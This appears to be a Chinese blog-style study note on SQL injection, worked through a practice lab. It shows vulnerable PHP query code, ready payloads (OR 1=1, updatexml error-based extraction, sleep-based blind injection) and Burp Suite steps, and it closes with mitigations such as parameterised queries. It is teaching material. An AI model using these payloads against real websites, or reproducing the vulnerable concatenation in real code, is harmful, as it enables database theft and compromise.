SQL注入概念
SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。
从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。
主要是开发人员在构建代码时,没有对输入边界进行安全考虑,导致攻击着可以
通过合法的输入点提交一些精心构造的语句,从而欺骗后台数据库对其进行执行,导致数据库信息泄漏的一种漏洞。
SQL注入攻击流程
第一步:注入点探测
自动方式:使用web漏洞3描工具,自动进行注入点发现
手动方式:手工构造sql inject测试语句进行注入点发现
第二步:信息获取
通过注入点取期望得到的数据。
1.环境信息:数据库类型,数据库版本操作系统版本,用户信息等。
2.数据库信息:数据库名称数据库表,表字段,字段内容(加密内容破解)
第三步:获取权限
获取操作系统权限:通过数据库执行shell,上传木马
常见注入点类型
数字型
user_ id=$id
字符型
user id= '$id'
搜索型
text LIKE '%{$_ GET['search'}%'"
漏洞复现&&利用方法
数字型注入(POST)
POST无法在URL做手脚,那么就直接上BURP抓包,数据包如下:
提交中的POST请求传递id=1,初步判断可能存在SQL注入;
构造语句 id=1 or 1=1
通过返回包发现服务端并没有进行任何过滤处理。
猜想:首先通过 $id=$_POST['id']
获取传入数值
select字段1,字段2 from表名where id= 1 or 1=1;
拼接字符数据库查询.
代码分析
if(isset($_POST['submit']) && $_POST['id']!=null){
//这里没有做任何处理,直接拼到select里面去了,形成Sql注入
$id=$_POST['id'];
$query="select username,email from member where id=$id";
$result=execute($link, $query);
//这里如果用==1,会严格一点
字符型注入(GET)
猜测后台程序结构:
$str=$_GET[‘str’];
select 字段1,字段2 from 表名 where 表名=’$str’
构造payload:cc' or 1=1 #,拼进SQL语句中变成:select 字段1,字段2 from 表名 where 表名=’cc' or 1=1 #’
代码分析:
//这里没有做任何处理,直接拼到select里面去了
$name=$_GET['name'];
//这里的变量是字符型,需要考虑闭合
$query="select id,email from member where username='$name'";
搜索型注入
猜测后台程序结构:
$str=$_GET[‘str’];
select 字段1,字段2 from 表名 where 表名 like ’%$str%’
构造payload:cc%' or 1=1 #,拼进SQL语句中变成:select 字段1,字段2 from 表名 where 表名=’ xx%' or1=1 #’
代码分析:
//这里没有做任何处理,直接拼到select里面去了
$name=$_GET['name'];
//这里的变量是模糊匹配,需要考虑闭合
$query="select username,id,email from member where username like '%$name%'";
XXX型注入
代码分析
if(isset($_GET['submit']) && $_GET['name']!=null){
//这里没有做任何处理,直接拼到select里面去了
$name=$_GET['name'];
//这里的变量是字符型,需要考虑闭合
$query="select id,email from member where username=('$name')";
通过观察,构造Payload进行闭合尝试:cc') or 1=1 #
insert/update注入
insert注入
- 点击注册在注册处用burp进行抓包,发送到Repeater模块。
- 利用concat执行sql注入语句
- 使用updatexml报错信息将sql语句执行结果返回
payload: 'or updatexml(1,concat(0x7e,database(),0x7e),0) or'
update注入
- 使用普通账号登录 点击修改信息在修改信息处Payload使用BurpSuite进行抓包(修改信息建议不要有空)
Payload:
'or updatexml(1,concat(0x7e,database(),0x7e),0) or'
<img src="https://cdn.jsdelivr.net/gh/lateral404/image/image/20200813094211.png"/>
## delete删除注入
1. 先进行随意留言 在删除留言时使用BurpSuite进行抓包,发送Repeater模块
2. ```Payload
payload: 68 or updatexml (1,concat(0x7e,datebase()),0)
且在BurpSuite中Ctrl+U 对payload进行url编码
"http header"注入
- 使用admin/123456登陆以后刷新用BurpSuite抓包
- 在user-agent后加入payload
payload: 1' or updatexml (1,concat(0x7e,datebase()),0) or '
布尔盲注(base on boolian)
只有输入 and 1=1时才有回显
payload:kobe' and 1=1 #
<img src="https://cdn.jsdelivr.net/gh/lateral404/image/image/20200813101236.png"/>
## 时间盲注(base on time)
payload: kobe' and sleep(10)#
<img src="https://cdn.jsdelivr.net/gh/lateral404/image/image/20200813101235.png"/>
---
现在我们从**测试者的角度**,对网站进行SQL注入**测试**
比如搜索处提示:what's your username?
通过提示信息判断输入得数据类型是字符串。字符串闭合两种方式——>>单引号或双引号
**关键点:** 查看网页回显信息(**报错信息**)来判断我们的输入是否参与到了SQL语句里面去执行。
如果有,那么就意味着我们的输入拼接到了数据库SQL语句中去执行。
### MySQL注释服务器支持的三种类型
--从 `'#'` 字符从行尾。
--从 `'--'`序列到行尾。请注意'--' (双破折号)注释风格要求第2个破折号后面至少跟一个空格符(例如空格、tab、 换行符等等)。
该语法与标准SQL注释语法稍有不同.
--从 `/*`序列到后面的 `*/`序列。结束序列不一定在同一 行中,因此该语法允许注释跨越多行。
**注释风格**
**GET && POST注入的区别**
Get方式中使用URL提交注入数据;
Post方式中使用抓包工具修改post数据部分提交注入;
不管是get方式还是post方式,都可能会出现SQL注入漏洞,本质其实是一样的!
涉及到知识盲区
痴呆
啊吧啊吧
## 防范措施:
在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:
1.对传进SQL语句里面的变量进行过滤,不允许危险字符传入;
2.使用参数化(Parameterized Query 或 Parameterized Statement);
3.还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!